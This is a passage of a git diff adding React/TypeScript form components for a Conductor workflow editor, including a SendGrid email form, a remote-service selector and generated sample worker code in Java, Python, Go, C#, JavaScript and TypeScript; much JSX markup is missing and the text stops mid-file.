( + + + {!hideEnforceSchema && ( + + + + )} + {!hideInputSchema && ( + + + + )} + {!hideOutputSchema && ( + + + + )} + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SendgridForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SendgridForm.tsx new file mode 100644 index 0000000..0d7e9a7 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SendgridForm.tsx @@ -0,0 +1,154 @@ +import { Box, Grid } from "@mui/material"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { UseQueryResult } from "react-query"; +import { IntegrationCategory, IntegrationDef } from "types"; +import { EMAIL_CONTENT_TYPE_SUGGESTIONS } from "utils/constants/emailContentTypeSuggestions"; +import { useIntegrationProviders } from "utils/useIntegrationProviders"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { useGetSetHandler } from "./useGetSetHandler"; + +const FROM = "inputParameters.from"; +const TO = "inputParameters.to"; +const SUBJECT = "inputParameters.subject"; +const CONTENT_TYPE = "inputParameters.contentType"; +const CONTENT = "inputParameters.content"; +const SENDGRID_CONFIGURATION = "inputParameters.sendgridConfiguration"; + +export const SendgridForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const [from, handlerFrom] = useGetSetHandler(props, FROM); + + const [to, handlerTo] = useGetSetHandler(props, TO); + + const [subject, handlerSubject] = useGetSetHandler(props, SUBJECT); + + const [contentType, handlerContentType] = useGetSetHandler( + props, + CONTENT_TYPE, + ); + + const [content, handlerContent] = useGetSetHandler(props, CONTENT); + + const [sendgridConfiguration, handlerSendgridConfiguration] = + useGetSetHandler(props, SENDGRID_CONFIGURATION); + + const { data: sendgridIntegrations }: UseQueryResult = + useIntegrationProviders({ + category: IntegrationCategory.EMAIL, // May need better filters if we add more email type + activeOnly: false, + }); + + return ( + + + + + + + + + + +
      + + + + + +
      + + + + + +
      + + + + + +
      + + + item.name) || [] + } + label="SendGrid Configuration" + /> + + +       + + + + + + + +       + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ServiceRegistrySelector.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ServiceRegistrySelector.tsx new file mode 100644 index 0000000..1de953a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/ServiceRegistrySelector.tsx @@ -0,0 +1,427 @@ +import { + Box, + Button, + CircularProgress, + Grid, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TableRow, +} from "@mui/material"; +import { MagicWand } from "@phosphor-icons/react"; +import MuiButton from "components/ui/buttons/MuiButton"; +import UIModal from "components/ui/dialogs/UIModal"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { MessageContext } from "components/providers/messageContext"; +import _every from "lodash/every"; +import _isEmpty from "lodash/isEmpty"; +import _isNil from "lodash/isNil"; +import { replaceDynamicParams } from "utils/remoteServices"; +import { Method, ServiceDefDto } from "types/RemoteServiceTypes"; +import { useContext, useMemo, useState } from "react"; +import { ActorRef } from "xstate"; +import { useServiceMethodsDefinition } from "./HTTPTaskForm/state/hook"; +import { ServiceMethodsMachineEvents } from "./HTTPTaskForm/state/types"; + +const TruncatedText = ({ + text, + maxLines = 3, +}: { + text?: string; + maxLines?: number; +}) => { + const [isExpanded, setIsExpanded] = useState(false); + + return ( + setIsExpanded(!isExpanded)} + > + {text ?? ""} + + ); +}; + +interface ServiceRegistryPopulatorProps { + modalShow: boolean; + setModalShow: (val: boolean) => void; + handleSelectService: (val: string) => void; + selectedService: ServiceDefDto; + services: ServiceDefDto[]; + handleSelectMethod: (val: string) => void; + selectedMethod: Method; + selectedServiceMethodsOptions: Method[]; + serviceType: string; + actor: ActorRef; + handleSelectHost?: (val: string) => void; + selectedHost?: string; +} +function ServiceRegistryPopulator({ + modalShow, + setModalShow, + handleSelectService, + handleSelectHost, + selectedService, + services, + handleSelectMethod, + selectedMethod, + selectedServiceMethodsOptions, + serviceType, + actor, + selectedHost, +}: ServiceRegistryPopulatorProps) { + const { setMessage } = useContext(MessageContext); + const [requestParams, setRequestParams] = useState>({}); + const [{ isInIdleState }, { handleUpdateTemplate }] = + useServiceMethodsDefinition(actor); + + const isParamsValid = useMemo(() => { + if (serviceType !== "HTTP") { + return true; + } + if ( + !selectedMethod?.requestParams || + _isEmpty(selectedMethod.requestParams) + ) { + return true; + } + + return _every(selectedMethod.requestParams, (param, _key) => { + if (!param?.required) return true; + const value = requestParams?.[param.name]?.value; + return !_isNil(value) && value !== ""; + }); + }, [selectedMethod?.requestParams, requestParams, serviceType]); + + const handleExecute = () => { + if (selectedMethod?.methodType && selectedService?.serviceURI) { + const { url: updatedUrl, headers } = replaceDynamicParams( + selectedMethod?.methodName, + requestParams, + ); + const updatedHeaders = { + ...headers, + ...(selectedService?.authMetadata && + selectedService?.authMetadata?.key && + selectedService?.authMetadata?.value && { + [selectedService?.authMetadata?.key]: + selectedService?.authMetadata?.value, + }), + }; + if (selectedService?.type === "gRPC") { + handleUpdateTemplate({ + updatedUrl: selectedHost ?? "", + headers: updatedHeaders, + }); + } else { + handleUpdateTemplate({ updatedUrl, headers: updatedHeaders }); + } + setModalShow(false); + setMessage({ + severity: "success", + text: `Applied successfully`, + }); + } + }; + + const handleInputChange = ( + data: { name: string; type: string; required: boolean }, + value: string, + ) => { + const updatedRequestParams = { + ...requestParams, + [data.name]: { ...data, value: value }, + }; + setRequestParams(updatedRequestParams); + }; + + return ( + + } + variant="text" + size="small" + onClick={() => setModalShow(true)} + > + Populate from remote services + + } + > + + + { + handleSelectService(val); + setRequestParams({}); + }} + value={selectedService?.name ?? ""} + options={ + services + ?.filter((item: ServiceDefDto) => item.type === serviceType) + ?.map((item: ServiceDefDto) => item?.name) ?? [] + } + label="Service" + /> + + + { + handleSelectHost?.(val); + }} + value={selectedHost ?? ""} + options={[ + ...(selectedService?.servers?.map((server) => server.url) ?? + []), + ...(selectedService?.serviceURI + ? [selectedService?.serviceURI] + : []), + ]} + label={serviceType === "gRPC" ? "Host:Port" : "Host"} + /> + + + { + handleSelectMethod(val); + setRequestParams({}); + }} + value={ + selectedMethod + ? `[${selectedMethod?.methodType}]` + + selectedMethod?.methodName + : "" + } + options={selectedServiceMethodsOptions ?? []} + renderOption={(props, option) => ( + + {option} + + )} + label="Service method" + /> + + {serviceType === "HTTP" && ( + + + + )} + {selectedMethod?.description && ( + + + + + ⓘ + + + + + + )} + {selectedMethod?.deprecated && ( + + + + ⚠️ This method is deprecated and may be removed in future + versions. + + + + )} + {serviceType === "HTTP" && ( + + + + + + Name + Description + + + + {selectedMethod?.requestParams && + selectedMethod?.requestParams?.length > 0 ? ( + selectedMethod?.requestParams?.map((row) => ( + + + + + {row.name} + {row.required && ( + + * required + + )} + + + {row?.schema?.type} + + + ({row.type}) + + + + + handleInputChange(row, val)} + /> + + + )) + ) : ( + No parameters + )} + +
      +       +       + )} +       + + + +       +       + ); +} + +export default ServiceRegistryPopulator; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SetVariableOperatorForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SetVariableOperatorForm.tsx new file mode 100644 index 0000000..f0c18c5 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SetVariableOperatorForm.tsx @@ -0,0 +1,40 @@ +import { Box, Grid } from "@mui/material"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { path as _path } from "lodash/fp"; +import { updateField } from "utils/fieldHelpers"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const inputParametersPath = "inputParameters"; + +export const SetVariableOperatorForm = ({ task, onChange }: TaskFormProps) => { + return ( + + + + + + onChange(updateField(inputParametersPath, value, task)) + } + /> + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SampleCode.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SampleCode.ts new file mode 100644 index 0000000..d56b3cd --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SampleCode.ts @@ -0,0 +1,494 @@ +const formatInputParams = (inputParamKeys: string[]): string => { + if (!inputParamKeys?.length) return ""; + return inputParamKeys + .map((key) => `@InputParam("${key}") Object ${key}`) + .join(", "); +}; +export const sampleJavaCode = ({ + taskDefName, + inputParamKeys, +}: { + taskDefName: string; + inputParamKeys: string[]; +}) => + `/* + * To set up the project, install the dependencies, and run the application, use the following commands: + * + * 1. Create a new Maven project or navigate to your existing project. + * + * Project Directory Structure: + * + * conductor-sample/ + * ├── src/ + * │ └── main/ + * │ └── java/ + * │ └── org/ + * │ └── example/ + * │ └── Main.java (This is your main Java file) + * + * + * 2. Add the following dependency to your pom.xml file: + * + * + * io.orkes.conductor + * orkes-conductor-client + * 1.1.14 + * + * + * 3. Run the following command to download and install the dependencies: + * mvn install + * + * 4. To compile and run the project, use the following command: + * mvn exec:java -Dexec.mainClass="com.example.Main" + * + */ + +package org.example; +import com.netflix.conductor.sdk.workflow.executor.WorkflowExecutor; +import com.netflix.conductor.sdk.workflow.task.InputParam; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; +import io.orkes.conductor.client.ApiClient; +import io.orkes.conductor.client.OrkesClients; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.util.Map; +import java.util.Collection; + +public class Main { + private static final ObjectMapper objectMapper = new ObjectMapper(); + + private static String convertToString(Object value) { + if (value == null) return "null"; + try { + return (value instanceof Collection || value.getClass().isArray() || value instanceof Map) + ? objectMapper.writeValueAsString(value) + : String.valueOf(value); + } catch (Exception e) { + return String.valueOf(value); + } + } + + public static void main(String[] args) + { + System.out.println("Hello world!"); + ApiClient apiClient = new ApiClient("${ + window.location.origin + }/api","some-key","some-secret"); + OrkesClients oc = new OrkesClients(apiClient); + + WorkflowExecutor executor = new WorkflowExecutor( + oc.getTaskClient(), + oc.getWorkflowClient(), + oc.getMetadataClient(), + 10); + + executor.initWorkers("org.example"); + } + + @WorkerTask("${taskDefName}") + public String greet(${formatInputParams(inputParamKeys)}) { + ${ + inputParamKeys && inputParamKeys?.length > 0 + ? `return String.format("Hello ${inputParamKeys + ?.map((_item) => `%s`) + .join(", ")}!", ${inputParamKeys + ?.map((item) => `convertToString(${item})`) + .join(", ")});` + : `return "Hello";` + } + } +} +`; + +export const samplePythonCode = ({ + taskDefName, + inputParamKeys, +}: { + taskDefName: string; + inputParamKeys?: string[]; +}) => `# To set up the project, install the dependencies, and run the application, follow these steps: +# +# 1. Create a Conda environment with the latest version of Python: +# conda create --name myenv python +# +# 2. Activate the environment: +# conda activate myenv +# +# 3. Install the necessary dependencies: +# pip install conductor-python +# +# 4. Run the Python script (replace script.py with your actual script name): +# python script.py + +from conductor.client.automator.task_handler import TaskHandler +from conductor.client.configuration.configuration import Configuration +from conductor.client.worker.worker_task import worker_task +import os + +os.environ['CONDUCTOR_SERVER_URL'] = '${window.location.origin}/api' +os.environ['CONDUCTOR_AUTH_KEY'] = 'SomeKey' +os.environ['CONDUCTOR_AUTH_SECRET'] = 'SomeValue' + +@worker_task(task_definition_name='${taskDefName}') +def greet(${ + inputParamKeys && inputParamKeys?.length > 0 + ? `${inputParamKeys?.map((item: string) => `${item}: str`)}` + : `` +}): + return f'Hello ${ + inputParamKeys && inputParamKeys?.length > 0 + ? inputParamKeys?.map((item: string) => `{${item}}`) + : `there!` + }' + +api_config = Configuration() + +task_handler = TaskHandler(configuration=api_config) +task_handler.start_processes() # starts polling for work +# task_handler.stop_processes() # stops polling for work`; + +export const sampleGolangCode = ({ + taskDefName, + inputParamKeys, +}: { + taskDefName: string; + inputParamKeys?: string[]; +}) => + `/* + * To set up the project, install the dependencies, and run the application, follow these steps: + * + * 1. Create a Go module for your project: + * go mod init mymodule + * + * 2. Install the Conductor Go SDK: + * go get github.com/conductor-sdk/conductor-go + * + * 3. Run the Go program (replace main.go with your actual file name): + * go run main.go + */ + +package main + +import ( + "fmt" + "os" + "time" + "encoding/json" + "strings" + + log "github.com/sirupsen/logrus" + + "github.com/conductor-sdk/conductor-go/sdk/client" + "github.com/conductor-sdk/conductor-go/sdk/model" + "github.com/conductor-sdk/conductor-go/sdk/settings" + + "github.com/conductor-sdk/conductor-go/sdk/worker" + "github.com/conductor-sdk/conductor-go/sdk/workflow/executor" +) + +var ( + apiClient = client.NewAPIClient( + authSettings(), + httpSettings(), + ) + taskRunner = worker.NewTaskRunnerWithApiClient(apiClient) + workflowExecutor = executor.NewWorkflowExecutor(apiClient) +) + +func authSettings() *settings.AuthenticationSettings { + key := os.Getenv("KEY") + secret := os.Getenv("SECRET") + // get your key and secret by generating an application + if key != "" && secret != "" { + return settings.NewAuthenticationSettings( + key, + secret, + ) + } + + return nil +} + +func httpSettings() *settings.HttpSettings { + url := "${window.location.origin}/api" + if url == "" { + log.Error("Error: CONDUCTOR_SERVER_URL env variable is not set") + os.Exit(1) + } + + return settings.NewHttpSettings(url) +} + // Helper function to convert input parameter value to string +func convertToString(value interface{}) string { + if value == nil { + return "null" + } + switch v := value.(type) { + case []interface{}, map[string]interface{}: + jsonBytes, err := json.Marshal(v) + if err != nil { + return fmt.Sprintf("%v", v) + } + return string(jsonBytes) + default: + return fmt.Sprintf("%v", v) + } +} + +func Greet(task *model.Task) (interface{}, error) { + var greetings strings.Builder + greetings.WriteString("Hello") + ${ + inputParamKeys && inputParamKeys.length > 0 + ? ` + // Convert and append each input parameter + ${inputParamKeys + .map( + (item) => `if val, ok := task.InputData["${item}"]; ok { + greetings.WriteString(", " + convertToString(val)) + }`, + ) + .join("\n ")}` + : "" + } + return map[string]interface{}{ + "greetings": greetings.String(), + }, nil +} + +func main() { + taskRunner.StartWorker("${taskDefName}", Greet, 1, time.Millisecond*100) + taskRunner.WaitWorkers(); +} +`; + +export const sampleCSharpCode = ({ + taskDefName, + inputParamKeys, +}: { + taskDefName: string; + inputParamKeys?: string[]; +}) => `/* + * To set up the project, install the dependencies, and run the application, follow these steps: + * + * 1. Create a new .NET project: + * dotnet new console -n MyProject + * + * 2. Change to the project directory: + * cd MyProject + * + * 3. Add the Conductor C# SDK: + * dotnet add package conductor-csharp + * + * 4. Add your worker code in Program.cs or create a separate class file for better organization. + * + * 5. Run the application: + * dotnet run + */ + +using Conductor.Api; +using Conductor.Client.Extensions; +using Conductor.Definition; +using Conductor.Client.Worker; +using Conductor.Client; +using Conductor.Client.Models; +using Conductor.Client.Interfaces; +using Task = Conductor.Client.Models.Task; +using System.Text.Json; +using Conductor.Executor; +using Conductor.Client.Authentication; +using Conductor.Definition.TaskType; +using System; +using System.Threading; +using System.Threading.Tasks; +var configuration = new Configuration() +{ + BasePath = "${window.location.origin}/api", + AuthenticationSettings = new OrkesAuthenticationSettings("XXX", "XXXX") +}; +var host = WorkflowTaskHost.CreateWorkerHost(configuration, Microsoft.Extensions.Logging.LogLevel.Information, new SimpleWorker()); +await host.StartAsync(); +Thread.Sleep(TimeSpan.FromSeconds(100)); +public class SimpleWorker: IWorkflowTask +{ + public string TaskType + { + get; + } + public WorkflowTaskExecutorConfiguration WorkerSettings + { + get; + } + public SimpleWorker(string taskType = "${taskDefName}") + { + TaskType = taskType; + WorkerSettings = new WorkflowTaskExecutorConfiguration(); + } + public async System.Threading.Tasks.Task < TaskResult > Execute(Task task, CancellationToken token = + default) + { + return await System.Threading.Tasks.Task.Run(() => + { + var result = task.Completed(); + string outputString = "Hello world"; + result.OutputData = new Dictionary < string, object > + { + { + "result", + outputString ${ + inputParamKeys && inputParamKeys?.length > 0 + ? `+= " " + string.Join(" ", [${inputParamKeys.map( + (item) => `task.InputData["${item}"]`, + )}])` + : "" + } + } + }; + return result; + }); + } + public TaskResult Execute(Task task) + { + throw new NotImplementedException(); + } +}`; + +export const sampleJavaScriptCode = ({ + taskDefName, + accessToken, + inputParamKeys, +}: { + taskDefName: string; + accessToken: string; + inputParamKeys?: string[]; +}) => `/* + * To set up the project, install the dependencies, and run the application, follow these steps: + * + * 1. Install the Conductor JavaScript SDK: + * npm install @io-orkes/conductor-javascript + * or + * yarn add @io-orkes/conductor-javascript + * + * 2. Run the JavaScript file (replace yourFile.js with your actual file name): + * node yourFile.js + */ + +import { + orkesConductorClient, + TaskManager, +} from "@io-orkes/conductor-javascript"; + +async function test() { + const clientPromise = orkesConductorClient({ + // keyId: "XXX", // optional + // keySecret: "XXXX", // optional + TOKEN: "${accessToken}", + serverUrl: "${window.location.origin}/api" + }); + + const client = await clientPromise; + + const customWorker = { + taskDefName: "${taskDefName}", + execute: async ({ inputData${ + inputParamKeys && inputParamKeys?.length > 0 + ? `:{ ${inputParamKeys} }` + : `` + }, taskId }) => { + return { + outputData: { + greeting: \`Hello World ${inputParamKeys?.map( + (item) => `\${${item}}`, + )}\`, + }, + status: "COMPLETED", + }; + }, + }; + + const manager = new TaskManager(client, [customWorker], { + options: { pollInterval: 100, concurrency: 1 }, + }); + + manager.startPolling(); +} +test();`; + +export const sampleTypeScriptCode = ({ + taskDefName, + accessToken, + inputParamKeys, +}: { + taskDefName: string; + accessToken: string; + inputParamKeys?: string[]; +}) => `/* + * To set up the project, install the dependencies, and run the application, follow these steps: + * + * 1. Install the Conductor JavaScript SDK: + * npm install @io-orkes/conductor-javascript + * or + * yarn add @io-orkes/conductor-javascript + * + * 2. Install ts-node if not already installed: + * npm install ts-node + * or + * yarn add ts-node + * + * 3. Run the TypeScript file directly with ts-node (replace yourFile.ts with your actual file name): + * npx ts-node yourFile.ts + */ + +import { + ConductorWorker, + orkesConductorClient, + TaskManager, +} from "@io-orkes/conductor-javascript"; + +async function test() { + const clientPromise = orkesConductorClient({ + // keyId: "XXX", // optional + // keySecret: "XXXX", // optional + TOKEN: "${accessToken}", + serverUrl: "${window.location.origin}/api" + }); + + const client = await clientPromise; + + const customWorker: ConductorWorker = { + taskDefName: "${taskDefName}", + execute: async ({ inputData${ + inputParamKeys && inputParamKeys?.length > 0 + ? `:{ ${inputParamKeys} }` + : `` + }, taskId }) => { + return { + outputData: { + greeting: \`Hello World ${inputParamKeys?.map( + (item) => `\${${item}}`, + )}\`, + }, + status: "COMPLETED", + }; + }, + }; + + const manager = new TaskManager(client, [customWorker], { + options: { pollInterval: 100, concurrency: 1 }, + }); + + manager.startPolling(); +} +test();`; + +export const sampleClojureCode = `(defn create-tasks + "Returns workflow tasks" + [] + (vector (sdk/simple-task (:get-user-info constants) (:get-user-info constants) {:userId "\${workflow.input.userId}"}) + (sdk/switch-task "emailorsms" "\${workflow.input.notificationPref}" {"email" [(sdk/simple-task (:send-email constants) (:send-email constants) {"email" "\${get_user_info.output.email}"})] + "sms" [(sdk/simple-task (:send-sms constants) (:send-sms constants) {"phoneNumber" "\${get_user_info.output.phoneNumber}"})]} []))) + +(defn create-workflow + "Returns a workflow with tasks" + [tasks] + (merge (sdk/workflow (:workflow-name constants) tasks) {:inputParameters ["userId" "notificationPref"]})) +`; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SimpleTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SimpleTaskForm.tsx new file mode 100644 index 0000000..c763cd6 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/SimpleTaskForm.tsx @@ -0,0 +1,293 @@ +import { Editor } from "@monaco-editor/react"; +import { Box, Grid, IconButton, Link, Stack } from "@mui/material"; +import { ArrowsOutSimple, ArrowSquareOut } from "@phosphor-icons/react"; +import { Paper, Tab, Tabs } from "components"; +import MuiTypography from "components/ui/MuiTypography"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import UIModal from "components/ui/dialogs/UIModal"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import CopyIcon from "components/icons/CopyIcon"; +import { path as _path } from "lodash/fp"; +import { useMemo, useState } from "react"; +import { getAccessToken } from "components/features/auth/tokenManagerJotai"; +import { defaultEditorOptions, type EditorOptions } from "shared/editor"; +import { updateField } from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "../ConductorCacheOutputForm"; +import { Optional } from "../OptionalFieldForm"; +import { SchemaForm } from "../SchemaForm"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import { useSchemaFormHandler } from "../hooks/useSchemaFormHandler"; +import { + sampleClojureCode, + sampleCSharpCode, + sampleGolangCode, + sampleJavaCode, + sampleJavaScriptCode, + samplePythonCode, + sampleTypeScriptCode, +} from "./SampleCode"; +import { TemplateKeys } from "./TemplateKeys"; + +const inputParametersPath = "inputParameters"; +const SAMPLE_CODE_TABS = [ + "Java", + "Python", + "Golang", + "CSharp", + "JavaScript", + "TypeScript", + // "Clojure", +]; +const editorOption: EditorOptions = { + ...defaultEditorOptions, + tabSize: 2, + minimap: { enabled: false }, + quickSuggestions: true, + overviewRulerLanes: 0, + scrollbar: { + vertical: "hidden", + // this property is added because it was not allowing us to scroll when mouse pointer is over this component + alwaysConsumeMouseWheel: false, + }, + formatOnType: true, + readOnly: true, + wordWrap: "on", + scrollBeyondLastLine: false, + automaticLayout: true, +}; + +const SampleCodeSection = ({ + height = "300px", + selectedSample, + setSelectedSample, + displaySampleCode, + editorLanguage, + handleCopy, +}: { + height?: string; + selectedSample: string; + setSelectedSample: (sample: string) => void; + displaySampleCode: string; + editorLanguage: string; + handleCopy: () => void; +}) => { + return ( + <> + setSelectedSample(val)} + > + {SAMPLE_CODE_TABS.map((item) => ( + + ))} + + + + + + + + + + + + + ); +}; + +export const SimpleTaskForm = ({ task, onChange }: TaskFormProps) => { + const [selectedSample, setSelectedSample] = useState("Python"); + const [showAlert, setShowAlert] = useState(false); + const [showSampleModal, setShowSampleModal] = useState(false); + + const displaySampleCode = useMemo(() => { + const accessToken = getAccessToken() || ""; + const inputParamKeys = task?.inputParameters + ? Object.keys(task?.inputParameters) + : []; + if (selectedSample === "Java") { + return sampleJavaCode({ + taskDefName: task?.name ?? "greet", + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "Python") { + return samplePythonCode({ + taskDefName: task?.name ?? "greet", + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "Golang") { + return sampleGolangCode({ + taskDefName: task?.name ?? "greet", + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "CSharp") { + return sampleCSharpCode({ + taskDefName: task?.name ?? "greet", + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "JavaScript") { + return sampleJavaScriptCode({ + taskDefName: task?.name ?? "task_definition_name", + accessToken, + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "TypeScript") { + return sampleTypeScriptCode({ + taskDefName: task?.name ?? "task_definition_name", + accessToken, + inputParamKeys: inputParamKeys, + }); + } + if (selectedSample === "Clojure") { + return sampleClojureCode; + } + return ""; + }, [selectedSample, task?.inputParameters, task?.name]); + + const handleCopy = () => { + setShowAlert(true); + const selectedCode = displaySampleCode; + navigator.clipboard.writeText(selectedCode ?? ""); + }; + + const editorLanguage = useMemo(() => { + if (selectedSample === "Golang") { + return "go"; + } + return selectedSample.toLowerCase(); + }, [selectedSample]); + + const handleSchemaChange = useSchemaFormHandler({ task, onChange }); + + return ( + + {showAlert && ( + setShowAlert(false)} + anchorOrigin={{ horizontal: "right", vertical: "bottom" }} + /> + )} + + + + + + onChange(updateField(inputParametersPath, value, task)) + } + /> + + + + + + + + + + + + ) => + onChange({ ...task, inputParameters: inputParams }) + } + /> + + + + Sample worker code + + + + + Generate your auth key and secret from{" "} + + + Applications + + + setShowSampleModal(true)} + style={{ marginLeft: "auto" }} + > + + + + + + } + description="All sample worker codes in one place" + enableCloseButton + > + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/TemplateKeys.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/TemplateKeys.tsx new file mode 100644 index 0000000..79398ce --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/TemplateKeys.tsx @@ -0,0 +1,176 @@ +import { Box, CircularProgress, Stack } from "@mui/material"; +import { Intersect } from "@phosphor-icons/react"; +import Button from "components/ui/buttons/MuiButton"; +import IconButton from "components/ui/buttons/MuiIconButton"; +import MuiTypography from "components/ui/MuiTypography"; +import StrikedText from "components/ui/StrikedText"; +import Text from "components/ui/Text"; +import { FunctionComponent, useCallback, useMemo } from "react"; +import { Link } from "@mui/material"; +import { TaskDef } from "types"; +import { FIELD_TYPE_OBJECT, IObject } from "types/common"; +import { FEATURES, featureFlags, inferType, useFetch } from "utils"; +import TaskFormSection from "../TaskFormSection"; + +const taskVisibility = featureFlags.getValue(FEATURES.TASK_VISIBILITY, "READ"); + +const grayedTextFieldLikeStyles = { + padding: "4px 10px", + borderRadius: "5px", + background: "rgba(0,0,0,.15)", + width: "100%", +}; + +const deserializeOrDash = (value: any): string => { + try { + const result = JSON.stringify(value, null, 2); + return result; + } catch { + return "-"; + } +}; + +export interface TemplateKeysProps { + task: Partial; + onUniteParameter: (partialInputParams: Record) => void; +} + +export const TemplateKeys: FunctionComponent = ({ + task, + onUniteParameter, +}) => { + const { + data, + isFetching, + refetch: refetchAllDefinitions, + } = useFetch(`/metadata/taskdefs?access=${taskVisibility}`); + + const maybeTemplate = useMemo(() => { + const maybeSelectedTask = data?.find((t: TaskDef) => t.name === task.name); + return maybeSelectedTask?.inputTemplate; + }, [task, data]); + + const [currentTaskInputParams, inputParamsKeys] = useMemo(() => { + const inputParameters = task.inputParameters || {}; + return [inputParameters, Object.keys(inputParameters)]; + }, [task]); + + const handleUniteParameter = useCallback( + (keyParm: string) => { + onUniteParameter({ + ...currentTaskInputParams, + [keyParm]: maybeTemplate?.[keyParm], + }); + }, + [maybeTemplate, onUniteParameter, currentTaskInputParams], + ); + + const copyAllValues = useCallback(() => { + onUniteParameter({ + ...currentTaskInputParams, + ...maybeTemplate, + }); + }, [maybeTemplate, onUniteParameter, currentTaskInputParams]); + + const withTemplateKeysContent = useMemo( + () => + maybeTemplate == null ? ( + No default input templates configured + ) : ( + + + + + {Object.entries(maybeTemplate || {}).map(([key, value]) => { + const nonActionable = inputParamsKeys.includes(key); + const TextComponent = nonActionable ? StrikedText : Text; + return ( + + + {key} + + + {inferType(value) === FIELD_TYPE_OBJECT + ? deserializeOrDash(value) + : value} + + {nonActionable ? ( + + ) : ( + handleUniteParameter(key)}> + + + )} + + ); + })} + + ), + [maybeTemplate, inputParamsKeys, handleUniteParameter, copyAllValues], + ); + + return ( + + + Input templates (Default key-values from task definitions) + + + + } + accordionAdditionalProps={{ defaultExpanded: true }} + > + + + + These are default inputs that will be provided into your task unless + its overridden with an input parameter. To edit + these default input templates - click to{" "} + + + Edit task definition + + + {isFetching ? ( + + + + ) : ( + withTemplateKeysContent + )} + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/index.ts new file mode 100644 index 0000000..bbaa5c7 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./SimpleTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskNameInput.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskNameInput.tsx new file mode 100644 index 0000000..9827da5 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SimpleTaskNameInput.tsx @@ -0,0 +1,370 @@ +import Autocomplete, { createFilterOptions } from "@mui/material/Autocomplete"; +import Box from "@mui/material/Box"; +import CircularProgress from "@mui/material/CircularProgress"; +import Dialog from "@mui/material/Dialog"; +import DialogActions from "@mui/material/DialogActions"; +import DialogContent from "@mui/material/DialogContent"; +import DialogContentText from "@mui/material/DialogContentText"; +import DialogTitle from "@mui/material/DialogTitle"; +import Snackbar from "@mui/material/Snackbar"; +import { useSelector } from "@xstate/react"; +import MuiAlert from "components/ui/MuiAlert"; +import Button from "components/ui/buttons/MuiButton"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { WorkflowEditContext } from "pages/definition/state"; +import React, { + FunctionComponent, + useCallback, + useContext, + useMemo, + useState, +} from "react"; +import { Link } from "react-router"; +import { autocompleteStyle } from "shared/styles"; +import { NEW_TASK_TEMPLATE } from "templates/JSONSchemaWorkflow"; +import { fontWeights } from "theme/tokens/variables"; +import { TaskDef, WorkflowDef } from "types"; +import { handleValidChars, handleValidCharsForEvents } from "utils"; +import { featureFlags, FEATURES } from "utils/flags"; +import { useAction, useFetch } from "utils/query"; + +const filter = createFilterOptions(); + +interface SimpleTaskNameInputProps { + onChange?: any; + value?: string; + error?: boolean; + helperText?: string; + isMetaBarEditing?: boolean; + triggerSuccessEvent?: () => void; +} + +const SimpleTaskNameInput: FunctionComponent = ({ + onChange, + value, + error, + helperText, + triggerSuccessEvent, +}: SimpleTaskNameInputProps) => { + const [dialogValue, setDialogValue] = useState<{ + name?: string; + inputValue?: 